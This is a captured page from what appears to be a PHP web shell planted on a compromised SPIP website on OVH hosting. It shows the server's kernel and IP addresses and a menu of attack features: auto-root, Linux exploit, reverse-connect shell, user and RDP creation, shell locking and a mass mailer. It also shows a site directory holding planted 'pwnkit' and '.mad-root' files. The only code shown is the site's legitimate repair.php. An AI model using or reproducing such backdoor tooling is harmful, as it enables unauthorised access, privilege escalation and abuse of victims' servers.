Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
base /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
abstract_sql.php
65.11
KB
-rw----r--
auxiliaires.php
971
B
-rw----r--
connect_sql.php
16.07
KB
-rw----r--
create.php
6.32
KB
-rw----r--
delete_all.php
1.64
KB
-rw----r--
dump.php
25.4
KB
-rw----r--
index.php
2
B
-rw----r--
objets.php
52.23
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
repair.php
3.25
KB
-rw----r--
serial.php
971
B
-rw----r--
trouver_table.php
7.63
KB
-rw----r--
upgrade.php
16.15
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : repair.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Réparation de la base de données * * @package SPIP\Core\SQL\Reparation */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Action de réparation de la base de données * * Tente de réparer les tables, recalcule les héritages et secteurs * de rubriques. Affiche les erreurs s'il y en a eu. * * @pipeline_appel base_admin_repair * @uses admin_repair_tables() * @uses calculer_rubriques() * @uses propager_les_secteurs() * * @param string $titre Inutilisé * @param string $reprise Inutilisé **/ function base_repair_dist($titre = '', $reprise = '') { $res = admin_repair_tables(); if (!$res) { $res = "<div class='error'>" . _T('avis_erreur_mysql') . ' ' . sql_errno() . ': ' . sql_error() . "</div>\n"; } else { include_spip('inc/rubriques'); calculer_rubriques(); propager_les_secteurs(); } include_spip('inc/minipres'); $res .= pipeline('base_admin_repair', $res); echo minipres( _T('texte_tentative_recuperation'), $res . generer_form_ecrire('accueil', '', '', _T('public:accueil_site')) ); } /** * Exécute une réparation de la base de données * * Crée les tables et les champs manquants. * Applique sur les tables un REPAIR en SQL (si le serveur SQL l'accepte). * * @return string * Code HTML expliquant les actions réalisées **/ function admin_repair_tables() { $repair = sql_serveur('repair', '', true); // recreer les tables manquantes eventuelles include_spip('base/create'); creer_base(); $tables = sql_alltable(); $res = ''; foreach ($tables as $tab) { $class = ''; $m = "<strong>$tab</strong> "; spip_log("Repare $tab", _LOG_INFO_IMPORTANTE); // supprimer la meta avant de lancer la reparation // car le repair peut etre long ; on ne veut pas boucler effacer_meta('admin_repair'); if ($repair) { $result_repair = sql_repair($tab); if (!$result_repair) { return false; } } // essayer de maj la table (creation de champs manquants) maj_tables($tab); $count = sql_countsel($tab); if ($count > 1) { $m .= '(' . _T('texte_compte_elements', ['count' => $count]) . ")\n"; } else { if ($count == 1) { $m .= '(' . _T('texte_compte_element', ['count' => $count]) . ")\n"; } else { $m .= '(' . _T('texte_vide') . ")\n"; } } if ( $repair and $result_repair and $msg = join( ' ', (is_resource($result_repair) or is_object($result_repair)) ? sql_fetch($result_repair) : $result_repair ) . ' ' and !str_contains($msg, ' OK ') ) { $class = " class='notice'"; $m .= '<br><tt>' . spip_htmlentities($msg) . "</tt>\n"; } else { $m .= ' ' . _T('texte_table_ok'); } $res .= "<div$class>$m</div>"; } return $res; }
Close